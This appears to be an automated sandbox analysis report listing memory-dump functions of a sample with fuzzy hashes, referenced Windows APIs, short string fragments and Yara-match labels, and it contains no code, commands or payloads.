Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a033d0fe57248535a999b7d284349d355ba87a921935f3f59467e5ee5ff07ad
Instruction ID: c3c983f9bac0f6a23ff72217fc39f37c528725e102c2d687f5267423523debe7
Opcode Fuzzy Hash: 4a033d0fe57248535a999b7d284349d355ba87a921935f3f59467e5ee5ff07ad
Instruction Fuzzy Hash: 71D17834B01215DFDB18CF69D584AAEB7F2FF88206B14846EE8099B365DB75EC42CB50

Function 08514931 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3292732849.0000000008510000.00000040.00000800.00020000.00000000.sdmp, Offset: 08510000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8510000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0934671efcf37b42444753d0f388e4b628a49f4f5a1b7a340fd12e24e24c842c
Instruction ID: 35372e018022883e2aef9643c9fae39de4f5687140cbeb0eb0031f08916752a3
Opcode Fuzzy Hash: 0934671efcf37b42444753d0f388e4b628a49f4f5a1b7a340fd12e24e24c842c
Instruction Fuzzy Hash: 8EC17D307006029FEF24DF25D994B6ABBA6FF80705F01D96DC8058B656DB74EC4ACBA4

Function 08985B31 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5989c91ce4d83cb6c60656bdfd9de4b6491b91ae3f84ee34f15081de54389180
Instruction ID: cce24edb6216803fafd7db7448087871e2dc598465b2c2dc4f4531c3167ee5f3
Opcode Fuzzy Hash: 5989c91ce4d83cb6c60656bdfd9de4b6491b91ae3f84ee34f15081de54389180
Instruction Fuzzy Hash: 9BE1B074E01219CFDB68EFA5C894B9DBBB2BF89301F1091AAD40AAB350DB345D85CF51

Function 08983740 Relevance: .3, Instructions: 297COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d231368f3249091c995b5fd7dab0dfb4b433cc374772e41caa880e0f984d828
Instruction ID: c0d5b47bc66e709418b29161bc6187235e21fea134b5bbc2c76accd9ca552e3b
Opcode Fuzzy Hash: 5d231368f3249091c995b5fd7dab0dfb4b433cc374772e41caa880e0f984d828
Instruction Fuzzy Hash: CDD1BF74E01219CFDB24DFA9C984B9DBBF2BF89301F1091AAD409AB355DB349A85CF50

Function 085BA968 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3293527481.00000000085B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32646e77c2424ee8f186fa576a06ef95eee3928851d75987b8b6a5f26ca1ba15
Instruction ID: 0efc0e926455f071e7fd3c957de15c33a70027b562eafe039a065f9ee7a2e441
Opcode Fuzzy Hash: 32646e77c2424ee8f186fa576a06ef95eee3928851d75987b8b6a5f26ca1ba15
Instruction Fuzzy Hash: 80D1BFB4E01218CFEB14DFA9D984BADBBB1FB89305F1085A9E409AB351DB346985CF50

Function 08984330 Relevance: .3, Instructions: 271COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f397d7fad718b23bcef919e34d8d1d73fa98a188de3620e3978a721399826ca4
Instruction ID: c619b564a60241661bd11038b597552db17da9ca20382401e39fd9ddf4097abf
Opcode Fuzzy Hash: f397d7fad718b23bcef919e34d8d1d73fa98a188de3620e3978a721399826ca4
Instruction Fuzzy Hash: 1AC1D370D0122ACBEB68DF65C950BDEBBB2BF89305F1085EAC509AB250DB345E85CF54

Function 084E3190 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a40817c062622effe0ee8676b2cc83bf9cfd5c0a7ea57ea02bdd3422f230d3e1
Instruction ID: 97f9d269b1a229d8566ca736ebdb0f37bac3329e4237abf393e622d5cd76546e
Opcode Fuzzy Hash: a40817c062622effe0ee8676b2cc83bf9cfd5c0a7ea57ea02bdd3422f230d3e1
Instruction Fuzzy Hash: B6A19A71A002059FDB1ADFB4C844AAEBBB6FF89355B1180AAE905DB365DB35DC03CB50

Function 07C42924 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17a584762b4869af239e4f6f3aa92f99cbb1d22adcb8ea49f40566407a9ba305
Instruction ID: 90aa80446cfee74e364926b7bbf4ebcd06ce48dcc7224b7d51f908f4b13050aa
Opcode Fuzzy Hash: 17a584762b4869af239e4f6f3aa92f99cbb1d22adcb8ea49f40566407a9ba305
Instruction Fuzzy Hash: 89A1B575E0031ADFDB04DFA0D8949DDFBBAFF89314F258219E41AAB260DB30A945CB51

Function 07C43FD2 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290723663.0000000007C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04697fdceffc29d503ff3987cf71a0fbbd71355045bce750d9f1c39db9b6c6a8
Instruction ID: 61eab88b395d998566e5e83cb412394aadcc1265e2fb3bdf39743385f913c85f
Opcode Fuzzy Hash: 04697fdceffc29d503ff3987cf71a0fbbd71355045bce750d9f1c39db9b6c6a8
Instruction Fuzzy Hash: 02918175E0031ADFCB04DFB0D8849DDFBBAFF89314B258215E41AAB265DB30AA45CB51

Function 085BBCEE Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3293527481.00000000085B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19f6a7890f19505837a6e407b6f4ada806ca4a81592f304fdd98d75dbf8f34d2
Instruction ID: 2835466680b599104f412e28fb0965e5e548a67d35fb669176be2e3c77978355
Opcode Fuzzy Hash: 19f6a7890f19505837a6e407b6f4ada806ca4a81592f304fdd98d75dbf8f34d2
Instruction Fuzzy Hash: 80710AB4E10208DFDB54DFA9D595AAEBBF2FF88301F10846AD80AAB355DB346841CF41

Function 085BBDB0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3293527481.00000000085B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 085B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_85b0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6274dcd3b882faf4c6b04656aabc5f9eec3980c218dd3a59284694deadfcf837
Instruction ID: eb899ad4456a848be4a65f81a0a010e7d1f78d01ebe006208562f53dbe360fbb
Opcode Fuzzy Hash: 6274dcd3b882faf4c6b04656aabc5f9eec3980c218dd3a59284694deadfcf837
Instruction Fuzzy Hash: 5B51D6B4E10208DFDB54DFA8D591AAEBBF2FF48304F50806AD40AAB395DB346945CF41

Function 089898E9 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e17c5eeed9692b330e1f99e0093ebf8f771265c2e3e3894eef34a6468b77deec
Instruction ID: c67ff0ad63df8818b5049aba1317d9fb85a29daf5a36ca4d3bed819484658362
Opcode Fuzzy Hash: e17c5eeed9692b330e1f99e0093ebf8f771265c2e3e3894eef34a6468b77deec
Instruction Fuzzy Hash: 4141E574E01218CFDB18EFAAD984BEDBBF2AF88305F10846AD409AB354DB345946CF51

Function 08620CF0 Relevance: 20.6, Strings: 16, Instructions: 622
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 08620DC2
$]q, xrefs: 086213D1
$]q, xrefs: 086212EB
$]q, xrefs: 08620D72
$]q, xrefs: 08621310
$]q, xrefs: 08620F28
$]q, xrefs: 086213C5
$]q, xrefs: 08620EA6
$]q, xrefs: 08620EF6
$]q, xrefs: 0862135B
$]q, xrefs: 0862131C
$]q, xrefs: 086212A6
$]q, xrefs: 08620DF4
$]q, xrefs: 08620F1C
$]q, xrefs: 086213A0
$]q, xrefs: 08620DE8

Memory Dump Source

Source File: 00000000.00000002.3295215345.0000000008620000.00000040.00000800.00020000.00000000.sdmp, Offset: 08620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8620000_file.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-2551331179
Opcode ID: e8a2c9bd09f6f92a3e267720409d8d119cab14a8af2bb105bd697bb621e07bd1
Instruction ID: 1a9a18d0c472911d0c2a1c1cffbdfa4c7a97b982b9f7765e630e7d866513bd15
Opcode Fuzzy Hash: e8a2c9bd09f6f92a3e267720409d8d119cab14a8af2bb105bd697bb621e07bd1
Instruction Fuzzy Hash: 1232B130704655DFCB188B69C954A6EBBF6BF89301B158499E906CB3A2CF74EC42CB91

Function 029E003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 029E024D

Strings

cess, xrefs: 029E018D
kernel32.dll, xrefs: 029E008F, 029E0095

Memory Dump Source

Source File: 00000000.00000002.3277615325.00000000029E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 49bbee4c4491b973d7b678b3dfb293f6f8e87a8cf819d5b79a1b28d15c485b4d
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 7F527974A00229DFDB65CF58C985BACBBB1BF09304F1480D9E94EAB351DB70AA85CF14

Function 086214F4 Relevance: 7.8, Strings: 6, Instructions: 341
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 086219EC
$]q, xrefs: 0862179E
$]q, xrefs: 08621982
$]q, xrefs: 086219C7
$]q, xrefs: 08621853
$]q, xrefs: 086219F8

Memory Dump Source

Source File: 00000000.00000002.3295215345.0000000008620000.00000040.00000800.00020000.00000000.sdmp, Offset: 08620000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8620000_file.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 34330c99020c9f4d8f5590a69fe4a36497b2da0d9bbcc2668575aac48f3dd00c
Instruction ID: 4a9411d442a110db62834155ee4acdd4d35b6882ab131ebcdab8249082a39c2c
Opcode Fuzzy Hash: 34330c99020c9f4d8f5590a69fe4a36497b2da0d9bbcc2668575aac48f3dd00c
Instruction Fuzzy Hash: 4EC1C374704610CFCB159B688494A6B7BE6FF86705F1144AED6038B3A2CF75EC06CB91

Function 004018F0 Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3275621443.0000000000426000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000043A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000046F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Function 044AEFF8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 044AF076
GetCurrentThread.KERNEL32 ref: 044AF0B3
GetCurrentProcess.KERNEL32 ref: 044AF0F0
GetCurrentThreadId.KERNEL32 ref: 044AF149

Memory Dump Source

Source File: 00000000.00000002.3279631068.00000000044A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_44a0000_file.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: c212ba23799522a666093d215e26794141056a08d8fa71764b76afd525fde5ee
Instruction ID: 11345324edc44e171c6ebeadd88af1a2634ea43a503d2cd63f7f8371b5f7dcf2
Opcode Fuzzy Hash: c212ba23799522a666093d215e26794141056a08d8fa71764b76afd525fde5ee
Instruction Fuzzy Hash: 0D5157B0900349CFEB14DFA9D548BAEBBF5FF88304F20845AE509A7360D739A944CB65

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3275621443.0000000000426000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000043A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3275621443.000000000046F000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 0898D940 Relevance: 5.4, Strings: 4, Instructions: 356
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(aq, xrefs: 0898D988
Haq, xrefs: 0898DAA9
Haq, xrefs: 0898DBDE
Haq, xrefs: 0898D9B4

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: (aq$Haq$Haq$Haq
API String ID: 0-4169060065
Opcode ID: b45f4e3371ea0ef6df21b7f30b5c4a3cd419b69bef45b94e914790ffeaa25db0
Instruction ID: ae2bf6a0324a3178d5e9cb45e459351a845260fb58090cd8039d8ab22192b551
Opcode Fuzzy Hash: b45f4e3371ea0ef6df21b7f30b5c4a3cd419b69bef45b94e914790ffeaa25db0
Instruction Fuzzy Hash: 68C10E34B04246CFDB15EF29D8445AEBBB6EFC5215B0484AED40ACB292DB34DC06CB91

Function 02AA244E Relevance: 3.0, APIs: 2, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 02AA2476
Module32First.KERNEL32(00000000,00000224), ref: 02AA2496

Memory Dump Source

Source File: 00000000.00000002.3278134834.0000000002AA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 02AA1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2aa1000_file.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 5c205296afc75b4ac9f997468edddb049c9fd043397694ce722de5f4ff591b0d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: D7F096312007116FD7203BF598DDBBEB6E8AF49724F100568FA52924C0DF74E8554A61

Function 029E0E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,029E0223,?,?), ref: 029E0E19
SetErrorMode.KERNEL32(00000000,?,?,029E0223,?,?), ref: 029E0E1E

Memory Dump Source

Source File: 00000000.00000002.3277615325.00000000029E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_29e0000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 3b5da809ff3ecfe23a258656d3028253b1eed12c9b1164fbfb5cf2f071046951
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 0CD0123114512877DB013A94DC09BCD7B1CDF09B66F008021FB0DE9080C7B0954046E5

Function 085785F8 Relevance: 2.8, Strings: 2, Instructions: 296COMMON

Download Yara Rule

Strings

(_]q, xrefs: 0857878D
4']q, xrefs: 08578947

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: (_]q$4']q
API String ID: 0-2403817352
Opcode ID: 9f8c0bb4f299cf4337c2763afce67793027f64b2dfb356ce4281748071f98977
Instruction ID: 4b0f624ab182e313f6628ea1c8f534ace665252e1c901044ded80e8fee9f9a83
Opcode Fuzzy Hash: 9f8c0bb4f299cf4337c2763afce67793027f64b2dfb356ce4281748071f98977
Instruction Fuzzy Hash: F9B18030A002058FDB15EF79D458AAEBBB2FF85311F15846ED406EB351DF35984ACB51

Function 0857BD08 Relevance: 2.8, Strings: 2, Instructions: 265COMMON

Download Yara Rule

Strings

(aq, xrefs: 0857BFEA
(aq, xrefs: 0857BF94

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: (aq$(aq
API String ID: 0-3916115647
Opcode ID: d83841790df942b0167bddf351f90f7246d4731116e149ec7732663cf17c46f9
Instruction ID: 4e64f20c6f5f19133d97b05d9f402c7a7dad26ba20177201cedc81aefb88190f
Opcode Fuzzy Hash: d83841790df942b0167bddf351f90f7246d4731116e149ec7732663cf17c46f9
Instruction Fuzzy Hash: 08912EB0B052859FDB04DBB9946466EBBE2BFC5311B2084ADD805DB382DE30DC06CB92

Function 0898E3E8 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

LR]q, xrefs: 0898E408
Haq, xrefs: 0898E549

Memory Dump Source

Source File: 00000000.00000002.3295879367.0000000008980000.00000040.00000800.00020000.00000000.sdmp, Offset: 08980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8980000_file.jbxd

Similarity

API ID:
String ID: Haq$LR]q
API String ID: 0-1423490201
Opcode ID: 2ba351c62bdf5e04c79ddc92d599b18d53497483a536e187e9bf2df87dcc1957
Instruction ID: b85ecc38f95fdfcf54bd1c13e8db4e2dd795ef88a8b01d11b85fa2a35aa175fa
Opcode Fuzzy Hash: 2ba351c62bdf5e04c79ddc92d599b18d53497483a536e187e9bf2df87dcc1957
Instruction Fuzzy Hash: 7C51F370B04227DFDB19BF7194606BE7BA6EF85706F14487EE856CB281EA34D801D790

Function 085753B7 Relevance: 2.6, Strings: 2, Instructions: 106COMMON

Download Yara Rule

Strings

xaq, xrefs: 0857549B
xaq, xrefs: 085754D3

Memory Dump Source

Source File: 00000000.00000002.3293051322.0000000008570000.00000040.00000800.00020000.00000000.sdmp, Offset: 08570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8570000_file.jbxd

Similarity

API ID:
String ID: xaq$xaq
API String ID: 0-3966701881
Opcode ID: 73e8f9f23013c1d80d37e9d0029a7867254bd3ad903882fdb21f236ab96b4605
Instruction ID: 973694609bfcbcb92d4318af2cabca4c7ff9f0f127f837e570e4271183abcdcb
Opcode Fuzzy Hash: 73e8f9f23013c1d80d37e9d0029a7867254bd3ad903882fdb21f236ab96b4605
Instruction Fuzzy Hash: DD4168706007058FD719DF29D450A5ABBF2FF85308B28C96DD45A8B765EB32F90ACB80

Function 07C67449 Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

4']q, xrefs: 07C67538
4']q, xrefs: 07C67526

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: b91a3c99545367368fd1e2d17a3f387bf4dc37928e9c46b1b52209c110e127ba
Instruction ID: 7606de02edbe9bc964dc81f9aa0259a6652a7b086dd409fccf82256bf7da9d3c
Opcode Fuzzy Hash: b91a3c99545367368fd1e2d17a3f387bf4dc37928e9c46b1b52209c110e127ba
Instruction Fuzzy Hash: 8F3158303493904FD72A5B38A4591AE3FE2BFC631071549AED885C7796DF288C0BC7A2

Function 07C6B090 Relevance: 2.6, Strings: 2, Instructions: 60COMMON

Download Yara Rule

Strings

4']q, xrefs: 07C6B0C4
4']q, xrefs: 07C6B113

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 7d8abd1519ccb3800aba8c8e6063b4f6eef9fd17dfd327f49c2fb1e9fd738d1c
Instruction ID: 18eb91292d40a41284a221bace4747e5b8248558b7883dd936b5536aa2de78b4
Opcode Fuzzy Hash: 7d8abd1519ccb3800aba8c8e6063b4f6eef9fd17dfd327f49c2fb1e9fd738d1c
Instruction Fuzzy Hash: 9A11E9707007069FDB28DF29E890A5EB7BAFFC4610B104A29D44557765EB74FC0A87D0

Function 07C67520 Relevance: 2.5, Strings: 2, Instructions: 23COMMON

Download Yara Rule

Strings

4']q, xrefs: 07C67538
4']q, xrefs: 07C67526

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: bb0786ad873e80ac2841dd178db9102f8101e8c3a10d4ad6250b61638bc2703c
Instruction ID: 61c93c4565f2c742c76b33f1fa09800acd95678a5fbcb171592fe043f40c6920
Opcode Fuzzy Hash: bb0786ad873e80ac2841dd178db9102f8101e8c3a10d4ad6250b61638bc2703c
Instruction Fuzzy Hash: 91E09B302417104FD22DEF2AE54184A77DEBE84A103008E39D08943629DF74B80D8751

Function 07C67A90 Relevance: 2.0, Instructions: 1981COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb4380a4d347fcb0c133f2dc3de82ed833905ef9687d9df2bff7d60e1cbd4775
Instruction ID: d7b9342aecea240fdd772c7e107a86eb07d85d2e5ef2c555f0654dca4442899d
Opcode Fuzzy Hash: bb4380a4d347fcb0c133f2dc3de82ed833905ef9687d9df2bff7d60e1cbd4775
Instruction Fuzzy Hash: 3F235536912218DFCB666F60C61965DBB32FB4A345B2084BEED0653710CBBACD56DF02

Function 07C67AA0 Relevance: 2.0, Instructions: 1978COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3290856674.0000000007C60000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7c60000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1fce87621272deed82d12ab123ca92bb15e7c44f8c20ccc6d2ce6d8c2c549fa
Instruction ID: c9955577920af91250c945772e86ff6062e706bb409dab01244429fafb266619
Opcode Fuzzy Hash: b1fce87621272deed82d12ab123ca92bb15e7c44f8c20ccc6d2ce6d8c2c549fa
Instruction Fuzzy Hash: 78235536912218DFCB666F60C61965DBB32FB4A345B2084BEED0653710CBBACD56DF02

Function 084E7A03 Relevance: 1.9, Strings: 1, Instructions: 658COMMON

Download Yara Rule

Strings

,7aq, xrefs: 084E804F

Memory Dump Source

Source File: 00000000.00000002.3292519683.00000000084E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 084E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84e0000_file.jbxd

Similarity

API ID:
String ID: ,7aq
API String ID: 0-2975868867
Opcode ID: a5d56d747d28f06eef3e25d6d9f1cb5019473d65ca28110ffb7da0ed76b80da5
Instruction ID: 642eda4ef2a41dbf0ae5dcbd6c620986037fffb42c5d0e608ce4af9e75a8563b
Opcode Fuzzy Hash: a5d56d747d28f06eef3e25d6d9f1cb5019473d65ca28110ffb7da0ed76b80da5
Instruction Fuzzy Hash: 9D329070B402159FDF259BB8C8A457E7BA3EFC8612B20412EE512DB396DF74DC028B51

